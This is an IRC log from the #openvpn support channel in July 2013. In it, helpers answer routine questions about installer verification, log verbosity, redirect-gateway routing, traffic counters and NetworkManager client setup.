21:35 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
21:35 -!- Irssi: #openvpn: Total of 182 nicks [8 ops, 0 halfops, 3 voices, 171 normal]
21:35 -!- Irssi: Join to #openvpn was synced in 39 secs
21:36 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
21:36 -!- defswork [~andy@141.0.50.105] has joined #openvpn
21:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
21:38 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
21:39 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
21:41 -!- oO0Oo- [oO0Oo@gateway/shell/elitebnc/x-ihvaxgwiguumqhev] has joined #openvpn
21:41 -!- phantomcircuit_ [~phantomci@covertinferno.org] has joined #openvpn
21:43 -!- Netsplit *.net <-> *.split quits: kloeri, oO0Oo, _quadDamage, saneki_, Sjors, pa, @ecrist, Fiouz, Zenum, phantomcircuit,  (+2 more, use /NETSPLIT to show all of them)
21:44 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
21:44 -!- phantomcircuit_ is now known as phantomcircuit
21:50 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
21:50 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 240 seconds]
21:51 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
21:57 -!- Devastator [~devas@186.214.111.69] has quit [Changing host]
21:57 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:03 -!- defswork [~andy@141.0.50.105] has joined #openvpn
22:09 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
22:09 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
22:09 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
22:09 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
22:18 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 264 seconds]
22:23 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
22:24 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 246 seconds]
22:36 -!- defswork [~andy@141.0.50.105] has joined #openvpn
22:41 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 245 seconds]
22:43 < Casper> krzee: the web page of the software actually talk about the proxy and all, but when I try to connect with wifi, it actually connect (but fail due to a server/client certificate mismatch, that's a detail), which make me think it may ignore the proxy... but on 3g it can't connect to the server, but safari can reach the server/port, but get an error since it's not a web server...
22:43 < Casper> safari use the proxy
22:55 -!- defswork [~andy@141.0.50.105] has joined #openvpn
23:36 <@krzee> =]
--- Day changed Thu Jul 11 2013
00:04 -!- Guest68177 [~andrew@91.217.110.30] has left #openvpn []
00:05 -!- myp [~andrew@91.217.110.30] has joined #openvpn
00:24 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
00:32 -!- nikkiheat [~nikkiheat@211.sub-70-208-4.myvzw.com] has joined #openvpn
00:39 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
01:03 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:03 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
01:08 -!- nikkiheat2 [~nikkiheat@211.sub-70-208-4.myvzw.com] has joined #openvpn
01:08 -!- nikkiheat [~nikkiheat@211.sub-70-208-4.myvzw.com] has quit [Ping timeout: 246 seconds]
01:11 -!- ikrabbe [ingo@coop.ikrabbe-ask.de] has joined #openvpn
01:11 < ikrabbe> good morning. I have a window8 user who complains about a destroyed registry after installing openvpn.
01:12 < ikrabbe> are there any known issues, or version I better shouldn't use on windows8 ?
01:12 < ikrabbe> I can't tell what he did with his registry really
01:12 < ikrabbe> or actually, even.
01:14 <+pekster> There are issues if you got a malware-infected version from a non-legit source
01:14 <+pekster> !download
01:14 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
01:14 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
01:14 < ikrabbe> pekster: of course I used the community version
01:14 < ikrabbe> and I installed this client on some windows 7 clients without any problems
01:15 <+pekster> Did you verify the code signature? If so, I can assure you it won't "destroy the registry" as you suggest
01:15 < ikrabbe> I will test it again, but I assume the guy who tried to install openvpn to his windows 8 system did something strange with his computer
01:16 <+pekster> Apparently
01:16 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:16 <+pekster> fwiw, the latest (2.3.2) Windows installers are signed by "OpenVPN Technologies Inc." with certificate serial number 06d6565d621683941e0cf8439930cc16
01:20 < kisom> ikrabbe: We've tested the latest version on Win8 with success... Haven't seen a single failure
01:21 < ikrabbe> I just checked my version with gpg --verify and the gpg public key. It seems to be signed by Samuli Seppänen, which looks quite ok, when I consult the community page
01:21 -!- nikkiheat2 [~nikkiheat@211.sub-70-208-4.myvzw.com] has quit [Read error: Connection reset by peer]
01:22 <+pekster> That works too; the release is fine then. It's either operator error, or malware
01:22 < kisom> ikrabbe: d026f6be25271e06618e72033a6b0ab96d41d221  /home/kisom/Dropbox/TSC/New/VPN-Installer/binary_blobs/openvpn.exe
01:22 < ikrabbe> yes, the operator in this case is a web developer, so likely an operator error ;)
01:23 < ikrabbe> thanks for your support, it is just as I assumed
01:24 -!- nikkiheat [~nikkiheat@211.sub-70-208-4.myvzw.com] has joined #openvpn
01:33 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
01:34 -!- mattock_afk is now known as mattock
01:51 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:52 < ikrabbe> kisom, btw: what is this checksum you printed?
01:52 < ikrabbe> md5sum is 6c94019bf334fe8f368988bda32d736b openvpn-install-2.3.2-I001-x86_64.exe
01:52 -!- nikkiheat2 [~nikkiheat@228.sub-70-208-6.myvzw.com] has joined #openvpn
01:52 -!- nikkiheat [~nikkiheat@211.sub-70-208-4.myvzw.com] has quit [Ping timeout: 248 seconds]
01:53 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
01:53 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:56 -!- nikkiheat2 [~nikkiheat@228.sub-70-208-6.myvzw.com] has quit [Ping timeout: 240 seconds]
01:57 -!- nikkiheat [~nikkiheat@99.sub-70-208-3.myvzw.com] has joined #openvpn
01:59 -!- kloeri_ is now known as kloeri
02:19 < derRichard> hi
02:19 < derRichard> how can i make openvpn fail if --route-delay times out?
02:30 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
02:32 -!- dazo_afk is now known as dazo
02:32 -!- Alina-malina [Alina-mali@37.252.65.16] has quit [Ping timeout: 264 seconds]
02:35 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
02:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:48 -!- Alina-malina [Alina-mali@82.199.217.119] has joined #openvpn
02:48 -!- nikkiheat [~nikkiheat@99.sub-70-208-3.myvzw.com] has quit [Ping timeout: 240 seconds]
02:55 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Remote host closed the connection]
02:59 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:20 -!- Guest81891 [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has left #openvpn []
03:30 -!- newbie|5 [~tjz@bb219-74-136-113.singnet.com.sg] has joined #openvpn
03:33 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 240 seconds]
03:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
03:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
03:51 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 245 seconds]
03:55 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 240 seconds]
03:55 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
03:56 -!- mndo [~mndo@bl17-74-100.dsl.telepac.pt] has joined #openvpn
03:56 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
03:59 -!- takamichi [~takamichi@ks357561.kimsufi.com] has joined #openvpn
04:04 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
04:04 -!- Blok_ is now known as Blok
04:04 -!- Blok [~sa@h-219-80.a357.priv.bahnhof.se] has quit [Changing host]
04:04 -!- Blok [~sa@unaffiliated/blok] has joined #openvpn
04:09 -!- takamichi [~takamichi@ks357561.kimsufi.com] has quit [Read error: Connection reset by peer]
04:13 -!- takamichi [~takamichi@ks357561.kimsufi.com] has joined #openvpn
04:20 -!- takamichi [~takamichi@ks357561.kimsufi.com] has quit [Ping timeout: 256 seconds]
04:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:23 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has joined #openvpn
04:36 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Read error: Operation timed out]
04:36 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
04:49 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:05 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has quit [Read error: Connection reset by peer]
05:05 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
05:09 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
05:25 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has joined #openvpn
05:31 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has quit [Read error: Connection reset by peer]
05:36 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
05:41 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has joined #openvpn
05:42 -!- bitg1 [bitg@gateway/shell/xzibition.com/x-uerckkxievfqfdwr] has quit [Ping timeout: 246 seconds]
05:44 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has quit [Read error: Connection reset by peer]
05:48 -!- bitg [bitg@gateway/shell/xzibition.com/x-vvbudtnmpdqhvcan] has joined #openvpn
05:53 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has joined #openvpn
06:52 -!- midacts [~john@207.59.77.254] has joined #openvpn
06:59 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has quit [Quit: Computer has gone to sleep.]
07:10 -!- mode/#openvpn [+o ecrist_] by ChanServ
07:11 -!- You're now known as ecrist
07:18 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has joined #openvpn
07:30 < derRichard> how can i make openvpn fail if --route-delay times out?
07:31 -!- emcepe is now known as mcp
07:37 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has quit [Ping timeout: 264 seconds]
07:47 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
08:00 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Like it?  Visit #hydrairc on EFNet]
08:00 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
08:00 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has joined #openvpn
08:08 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
08:24 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:38 -!- phishy [~textual@c-65-96-165-187.hsd1.ma.comcast.net] has joined #openvpn
08:38 < phishy> identify admit123
08:38 <+Eugene> I sure hope you've changed that password.
08:38 <@plai> I hope that was not real password
08:39 -!- takamich_ [~takamichi@ks357561.kimsufi.com] has quit [Ping timeout: 264 seconds]
08:44 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:11 -!- torkel_ [~torkel@93.203.193.77.rev.sfr.net] has joined #openvpn
09:11 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
09:16 -!- iokill [~iokill@91.114.127.102] has quit [Read error: Operation timed out]
09:18 -!- sokmar [~marcin@firma.sokrates.pl] has quit [Ping timeout: 276 seconds]
09:24 -!- sokmar [~marcin@firma.sokrates.pl] has joined #openvpn
09:25 -!- Denial [~Denial@90.202.26.221] has joined #openvpn
09:31 -!- Denial- [Denial@90.202.26.221] has joined #openvpn
09:33 -!- Denial [~Denial@90.202.26.221] has quit [Ping timeout: 245 seconds]
09:33 -!- Denial- is now known as Denial
09:40 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Read error: Operation timed out]
09:48 -!- C-S-B [~C-S-B@host86-161-28-160.range86-161.btcentralplus.com] has joined #openvpn
09:52 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 248 seconds]
09:53 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
09:59 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has joined #openvpn
10:00 -!- w00ki3 [~nanderson@69.146.233.50] has joined #openvpn
10:01 -!- sokmar [~marcin@firma.sokrates.pl] has quit [Quit: Wychodzi]
10:03 -!- Muffins [~nanderson@69.146.233.50] has quit [Ping timeout: 246 seconds]
10:04 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has quit [Ping timeout: 264 seconds]
10:06 -!- TauNeutrino [~prime@gateway/tor-sasl/tauneutrino] has joined #openvpn
10:07 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
10:07 < TauNeutrino> When I start the server and then connect to it, i get lots of messages like "packet dropped" and some weird symbols like : RwrrwWRRwrWr . Is that normal??
10:08 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
10:09 <+pekster> See the manpage for the --verb option as you appear to be using 5 (3 or 4 is typical for normal use, while 5 is only helpful for debugging connection issues as it prints letters for every packet sent/received)
10:09 <+pekster> !verb
10:09 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage.
10:10 < TauNeutrino> ah ok, cool :)
10:10 < TauNeutrino> so even the "packet dropped" thing is normal?
10:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:10 <+pekster> Without context, I can't say
10:10 < TauNeutrino> hm ok
10:11 < TauNeutrino> The line says: client1/192.168.1.3:47483 MULTI: bad source address from client [192.168.1.3], packed dropped. I used push "redirect-gateway" in the server config
10:12 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
10:12 <+pekster> The client is attempting to use its external IP to send traffic down the VPN, and OpenVPN's internal packet filter is disallowing it as that is an invalid address to be using
10:12 <+pekster> Windows is especially bad at doing that, but I've seen it on other OSes too; some application is binding poorly, so you need to figure out what app is doing it and why (then stop it)
10:13 <+pekster> Feel free to ignore the error if you'd like; openvpn is simply refusing to deliver a clearly bogus packet
10:14 < TauNeutrino> I use it with arch linux and my android phone, with the openvpn connect app
10:14 <+pekster> Doesn't change any of the info I just gave you
10:15 <+pekster> fwiw, you should consider using def1 with redirect-gateway to avoid unpleasent surprises
10:15 <+pekster> !def1
10:15 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
10:15 < TauNeutrino> no, I mean maybe it's know that the android app is doing that or something
10:15 < TauNeutrino> it's known
10:15 <+pekster> It's not "the app" that's doing it -- some *process* on your client is wrongly sourcing a packet
10:15 <+pekster> It's as if you just set an arbitrary IP address on your ISP's network -- they'd rightly drop it
10:16 <+pekster> OpenVPN will never send tunneled packets down the pipe -- all it does is open a tun (or tap) device between two endpoints. All the crypto and keepalive stuff is sent over the TLS channel, which doesn't use the tun interface
10:16 <+pekster> All tunneled data packets are the result of a process generating them
10:18 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
10:18 < TauNeutrino> ok I'll read the man page. Thanks for your fast help :) Have a nice day
10:19 -!- TauNeutrino [~prime@gateway/tor-sasl/tauneutrino] has quit [Quit: leaving]
10:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:19 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:20 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
10:20 -!- DrCode_ is now known as DrCode
10:25 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:28 <@plai> Android will do def1 anyway
10:28 <@plai> if you give android a 0.0.0.0/0 the route will be split into two routes
10:29 <+pekster> A safety on shooting yourself in the foot? :)
10:51 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:59 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:03 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
11:03 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has joined #openvpn
11:05 -!- raidz_away is now known as raidz
11:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:07 -!- w00ki3 [~nanderson@69.146.233.50] has quit [Ping timeout: 264 seconds]
11:08 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
11:08 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 264 seconds]
11:10 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 264 seconds]
11:15 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
12:00 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 264 seconds]
12:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:01 < kisom> Does the traffic counter only count actual traffic inside the tunnel or also all the additional traffic? (ie key exchange, hmac, control channel, etc)
12:02 < kisom> Eh, the way I formulated that question was seriously bad. But whatever.
12:05 -!- mnathani [~mnathani@198.84.231.11] has joined #openvpn
12:14 <@dazo> kisom: I haven't checked the code, but my impression has been bytes inside the tunnel
12:14 <@dazo> kisom: try a setup which sends a 1000 bytes file (which should fit inside an ethernet frame easily enough) and see what the counter is then?
12:14 < kisom> dazo: I'll just block all traffic in iptables and see what openvpn reports... sec
12:15 <@dazo> probably use tcpdump/wirewhark on the tunnel
12:15 <@dazo> ahh, that can work too
12:15 <@dazo> in fact, you can just add a rule without a -j .... then you'll get a counter
12:16 < kisom> You'll get a counter otherwise too
12:16 < kisom> -nvL
12:16 < kisom> ;)
12:16 <@dazo> yeah ... but you block the traffic
12:16 < kisom> I want to block the traffic, that's the only way to make sure no traffic at all is sent in the tunnel
12:17 <@dazo> ahh, I thought about counting the traffic out of the tunnel
12:17 <@dazo> never mind ... you got a good plan :)
12:18 < kisom> I still get traffic reported in both directions, so it must be the TCP data that is counted
12:25 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:27 <@dazo> kisom: just poked quickly at the code now ... there are two sets of counter pairs ... one for the tun/tap device and one for the tcp/udp socket ....the tun/tap counter seems to count all bytes including the TCP/IP stack overhead .... I haven't checked, but I'd presume in TAP mode, even the Ethernet header would be counted as well
12:31 < kisom> dazo: Sure. But still, the TX/RX numbers reported by OpenVPN also includes the control traffic. But that's good, because we charge per byte. ;)
12:32 -!- papul [~quassel@unaffiliated/papul] has joined #openvpn
12:32 < papul> can anybody please help me setup openvpn using network-manager? http://imgur.com/a/EuqAR
12:32 <@vpnHelper> Title: Photo Album - Imgur (at imgur.com)
12:32 < papul> I am using static key
12:33 < kisom> papul: ...what exactly is the problem?
12:33 < papul> kisom: I setup openvpn config on server as shown on http://wiki.debian.org/OpenVPN
12:33 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
12:34 < papul> now I want to forward all my traffic through that server.
12:34 < papul> I can ping 10.9.8.1 from client
12:35 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has quit [Read error: Connection reset by peer]
12:35 < papul> !paste
12:35 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
12:35 < papul> !configs
12:35 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:35 < papul> !welcome
12:35 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:35 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:36 < papul> My college blocks certain connections/protocols/sites
12:36 < papul> I want to get over those restrictions.
12:38 < kisom> papul: You need to enable routing on the server side and use redirect-gateway on the client side
12:38 < papul> kisom: how do I do all that?
12:39 < kisom> papul: There are quite a few tutorials at openvpn.net
12:41 <@dazo> papul: we don't really support network manager here ... but I guess you need to click the "routes" button on the "IPv4 settings" tab
12:42 < papul> dazo: I think I have setup routing on server side correctly. What do I add on client side?
12:42 <@dazo> papul: what I just wrote .... network-manager openvpn support is client side only
12:42 -!- oO0Oo- [oO0Oo@gateway/shell/elitebnc/x-ihvaxgwiguumqhev] has left #openvpn []
12:43 < papul> dazo: what do I add under address, gateway, netmask and metric?
12:43 < papul> these appears on clicking routes as you suggested
12:43 <@dazo> papul: look carefully at the checkboxes further down
12:44 < papul> dazo: where?
12:45 <@dazo> "Use this connection only for resources on its network"
12:46 < papul> dazo: if I tick that and don't add anything, it will work?
12:46 <@dazo> I can only provide you the information ... I cannot make you understand it
12:46 <@dazo> That box should *not* be ticked
12:47 < papul> dazo: ok. its unticked. what next?
12:47 <@dazo> that's all you need on the client side ... if your server is correctly set up, it should work
12:47 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 245 seconds]
12:49 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-ihvaxgwiguumqhev] has joined #openvpn
12:49 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-ihvaxgwiguumqhev] has quit [Excess Flood]
12:49 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-kkbggiazzosohpec] has joined #openvpn
12:53 < papul> dazo: config https://gist.github.com/anonymous/96be360dcfea3713d5ab
12:53 <@vpnHelper> Title: gist:96be360dcfea3713d5ab (at gist.github.com)
12:55 <@dazo> papul: have you configured NAT on the server?  have you enabled IP forwarding?
12:55 < papul> yeah
12:56 <@dazo> well, the client config then just misses --redirect-gateway def1 and --route-gateway 10.9.8.1  .... but that's only if you don't use NetworkManager
12:57 <@dazo> other than that ... you need to use tcpdump and/or wireshark to figure out where your traffic goes ....
13:00 < papul> according to debian wiki "ip route add VPNSERVER_IP via LOCALGATEWAY_IP dev eth0  proto static"
13:00 < papul> what is the local gateway IP?
13:01 <@dazo> openvpn with --redirect-gateway on the client side takes care of that .... it adds an explicit route for traffic to your VPN server's public IP to go via your local gateway on your local network ... then since we recommend the 'def1' option to --redirect-gateway, it will add two routes
13:02 <@dazo> it will route 0.0.0.0/128.0.0.0 and 128.0.0.0/128.0.0.0 via the VPN tunnel .... which is a way to add a default gateway without removing your old default gateway ... this is to avoid problems if the VPN falls down for a little bit and needs to reconnect
13:04 -!- plai is now known as plaisthos
13:05 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
13:11 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
13:12 < papul> dazo: so I need to run "sudo openvpn --config /etc/openvpn/tun0.conf --verb 6 --redirect-gateway def1 --redirect-gateway 10.9.8.1
13:12 < papul> "
13:12 < papul> *--route-gateway 10.9.8.1
13:13 <@dazo> you can reduce to --verb 4 ... but generally, yes
13:14 < derRichard> sorry for asking this again (will be the last try), how can i make openvpn fail if --route-delay times out?
13:15 < derRichard> i.e. if openvpn fails for whatever reason to setup the tun/tap adapter.
13:16 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
13:16 < papul> dazo: not working. can't open any website
13:16 <@dazo> [19:58:27] <dazo> other than that ... you need to use tcpdump and/or wireshark to figure out where your traffic goes ....
13:19 < papul> dazo: 1889	67.602304000	192.168.1.104	54.244.124.168	OpenVPN	144	MessageType: P_CONTROL_HARD_RESET_SERVER_V1[Malformed Packet]
13:19 < papul> from wireshark
13:19 < papul> getting this a lot
13:32 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
13:33 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
13:35 -!- mndo [~mndo@bl17-74-100.dsl.telepac.pt] has quit [Ping timeout: 264 seconds]
13:40 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:41 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
13:41 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Client Quit]
13:42 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:02 -!- midacts [~john@207.59.77.254] has left #openvpn []
14:03 -!- papul [~quassel@unaffiliated/papul] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
14:05 -!- phishy [~textual@c-65-96-165-187.hsd1.ma.comcast.net] has quit [Quit: Computer has gone to sleep.]
14:19 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-yzceiapagztczquz] has joined #openvpn
14:21 -!- nish [~nish@195.1.174.154] has joined #openvpn
14:21 -!- ikrabbe- [ingo@coop.ikrabbe-ask.de] has joined #openvpn
14:22 -!- Cultist_ [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
14:23 -!- meepmeep_ [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
14:24 -!- itpings [~itpings@89.218.38.200] has quit [Ping timeout: 264 seconds]
14:25 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
14:26 -!- rheddry [~levifig@spwn.co] has joined #openvpn
14:27 -!- itpings [~itpings@89.218.38.200] has joined #openvpn
14:28 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
14:31 -!- Netsplit *.net <-> *.split quits: ikrabbe, nish_, lmm, MeanderingCode, meepmeep, ljvb, Cultist, levifig, JPeterson, Guest73696,  (+1 more, use /NETSPLIT to show all of them)
14:31 -!- ikrabbe- is now known as ikrabbe
14:31 -!- Cultist_ is now known as Cultist
14:31 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
14:31 -!- lmm_ is now known as lmm
14:36 -!- thumbs [~avenger@unaffiliated/thumbs] has joined #openvpn
14:38 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
14:38 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
14:39 -!- cyberspace- [20253@109.74.194.224] has joined #openvpn
14:43 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:43 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
14:46 < soapee01> I've got two routers in a tap config.  router running server went tits up.  Failsafe trying to get openvpn server running on a w2k3 server (tap) so the other router can connect.  I can connect via openvpn client, but can't ping the other network.  I have a feeling I haven't  configged the tap network adapter in windows correctly.  Should it just be set to an unused IP address on the network using the same gateway as the primary
14:46 < soapee01> IP?
14:47 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
14:47 -!- Varazir_ [~mircwars@c-94-255-131-158.cust.bredband2.com] has joined #openvpn
14:48 -!- zeroXten_ [~zeroXten@0x10.co.uk] has joined #openvpn
14:48 -!- rawtaz_ [~rawtaz@rho.hobbyhotellet.se] has joined #openvpn
14:48 -!- sauce_ [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
14:48 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
14:48 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
14:50 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
14:50 -!- barhom [barhom@netsat.se] has joined #openvpn
